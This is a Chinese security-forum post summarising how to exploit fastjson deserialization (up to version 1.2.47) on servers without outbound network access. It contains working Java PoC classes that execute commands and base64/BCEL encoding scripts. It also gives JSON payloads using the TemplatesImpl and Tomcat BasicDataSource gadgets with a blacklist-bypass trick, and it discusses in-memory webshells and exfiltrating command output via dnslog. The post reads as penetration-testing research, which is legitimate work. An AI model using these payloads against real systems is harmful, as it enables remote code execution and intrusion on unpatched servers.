安全矩阵

 找回密码
 立即注册
搜索
查看: 9828|回复: 0

fastjson 不出网利用总结

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-1-11 20:22:29 | 显示全部楼层 |阅读模式
原文链接:fastjson 不出网利用总结

前言

    之前做项目在内网测到了一个fastjson反序列化漏洞,使用dnslog可以获取到ip,但是通过burp请求在vps搭建的rmi服务时发现rmi服务监听的端口有收到请求,但是http服务没有收到请求,所以就研究一下不出网的fastjson怎么利用。

0x00  利用方式
目前公开已知的poc有两个:
  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

第一种利用方式需要一个特定的触发条件,解析JSON的时候需要使用Feature才能触发,参考如下代码:
  1. JSONObject.parseObject(sb.toString(), new Feature[]{Feature.SupportNonPublicField});
复制代码

第二种利用方式则需要应用部署在Tomcat应用环境中,因为Tomcat应用环境自带tomcat-dbcp.jar


对于SpringBoot这种自带Tomcat可以直接以单个jar文件部署的需要在maven中配置tomcat-dbcp。
而且对于不同的Tomcat版本使用的poc也不同:
• Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource
• Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource

0x01 利用复现

环境配置:
• fastjson 1.2.45 • 代码参考 vulhub

• 服务器:Windows Server 2012 r2

• jdk版本:jdk8u112
1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这里使用的是SpringBoot自带的Tomcat复现的漏洞。由于解析json需要额外添加参数Feature,因此实际情况可能不会遇到,这里只是做个记录。首先需要准备一个Poc:
  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import java.io.IOException;

  7. public class Calc extends AbstractTranslet {
  8. public Calc() throws IOException {
  9.         Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
  10.     }
  11.     @Override
  12.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
  13.     }
  14.     @Override
  15.     public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
  16.     }
  17.     public static void main(String[] args) throws Exception {
  18.         Calc t = new Calc();
  19.     }
  20. }
复制代码
通过命令行执行javac Poc.java得到class文件,然后通过python脚本得到该文件的base64编码:
  1. import base64

  2. with open(r"Poc.class", "rb") as file:
  3.     s = base64.b64encode(file.read())
  4.     print(s.decode('utf-8'))
复制代码
由于fastjson在1.2.25版本之后增加了黑名单机制,因此网上直接找到的poc并不能直接拿来用,这里基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc:
  1. {
  2.     "a": {
  3.         "@type": "java.lang.Class",
  4.         "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
  5.         },
  6.     "b": {
  7.         "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  8.         "_bytecodes": ["poc.class_base64"],
  9.         '_name': 'a.b',
  10.         '_tfactory': {},
  11.         "_outputProperties": {},
  12.         "_name": "b",
  13.         "_version": "1.0",
  14.         "allowedProtocols": "all"
  15.       }
  16. }
复制代码

​直接弹出计算器:


2. org.apache.tomcat.dbcp.dbcp2.BasicDataSource利用环境需要实际下载Tomcat应用环境或者在maven中配置如下依赖:

  1. <dependency>
  2.     <groupId>org.apache.tomcat</groupId>
  3.     <artifactId>tomcat-dbcp</artifactId>
  4.     <version>9.0.8</version>
  5. </dependency>
复制代码

我这里使用的是从Tomcat官网下载的Tomcat8.5.61,需要将springboot打成war包进行部署。


准备的Poc如下:

  1. public class Poc{
  2.     static {
  3.         try{
  4.             Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
  5.         } catch (Exception e) {
  6.         }
  7.     }
  8. }

  9. // 在构造函数中写也可以
  10. public class Poc{
  11.     public Poc(){
  12.         try{
  13.             Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
  14.         } catch (Exception e) {
  15.         }
  16.     }
  17. }
复制代码

首先在命令行下运行javac Poc.java得到Poc.class ,然后运行下面的java代码得到Poc.class文件的BCEL编码(编码内容保存在res.txt中)。

这里有个坑,需要注意下,我直接在本机环境(jdk8u271)下运行结果输出的内容特别短,根本没有进行编码,怀疑是高版本对该函数做了修改,后来直接用测试服务器的jdk8u112运行代码得到的编码。
  1. import com.sun.org.apache.bcel.internal.classfile.Utility;
  2. import java.io.BufferedWriter;
  3. import java.io.FileWriter;
  4. import java.io.IOException;
  5. import java.nio.file.Files;
  6. import java.nio.file.Path;
  7. import java.nio.file.Paths;

  8. public class Test{

  9.     public static void main(String[] args) throws IOException {
  10.         Path path = Paths.get("C:\\Users\\Administrator\\Desktop\\Poc.class");
  11.         byte[] bytes = Files.readAllBytes(path);
  12.         System.out.println(bytes.length);
  13.         String result = Utility.encode(bytes,true);
  14.         BufferedWriter bw = new BufferedWriter(new FileWriter("C:\\Users\\Administrator\\Desktop\\res.txt"));
  15.         bw.write("$BCEL$" + result);
  16.         bw.close();
  17.     }
  18. }
复制代码
同上由于fastjson在1.2.25版本之后增加了黑名单机制,这里基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc:
  1. {
  2.     "a": {
  3.         "@type": "java.lang.Class",
  4.         "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
  5.     },
  6.     "b": {
  7.         "@type": "java.lang.Class",
  8.         "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
  9.     },
  10.     "c": {
  11.         "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
  12.         "driverClassLoader": {
  13.             "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
  14.         },
  15.         "driverClassName": "BCELencode"
  16.     }
  17. }
复制代码



不知道是什么问题,计算器有时候能弹出界面,有时候只能在任务管理器里看到:

0x02  一点思考

第一个Poc比较难利用,第二个在1.2.47以下版本还可以利用,所以就想试试插入一个内存webshell或者是执行命令有回显。
1. 内存webshell这里参考雷神众测的文章(文后已附上),通过将注册恶意类的字节码文件和注册controller的类的字节码文件经过BCEL编码后请求到服务器,发现直接报错:
看起来好像是com.sun.org.apache.bcel.internal.util.ClassLoader没有加载到AbstractTranslet这个类,由于对内存shell的代码不了解,不知道针对这种情况情况的代码怎么修改,暂时作罢。
2. 命令执行回显常见的回显方式有三种:
  • 一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果。
  • 通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
  • 直接将命令执行结果回显到请求Poc的HTTP响应中。


0x03  参考链接

https://mntn0x.github.io/2020/04/07/Fastjson漏洞复现/
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://xz.aliyun.com/t/7104
Fastjson反序列化进攻利用
SpringBoot内存shell
https://xz.aliyun.com/t/7740

后记

第一种需要提前知道物理路径才能写文件,可以直接利用,这里就不细说了。第二种通过dnslog.cn和ceye.io也用得比较多了,但是数据量大了之后就不方便外带了。第三种在网上有很多文章,我自己尝试了下但是很多报错都跟上图一样提示NoClassDefFoundError,不知道有没有师傅有解决办法。


















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 15:38 , Processed in 0.016855 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表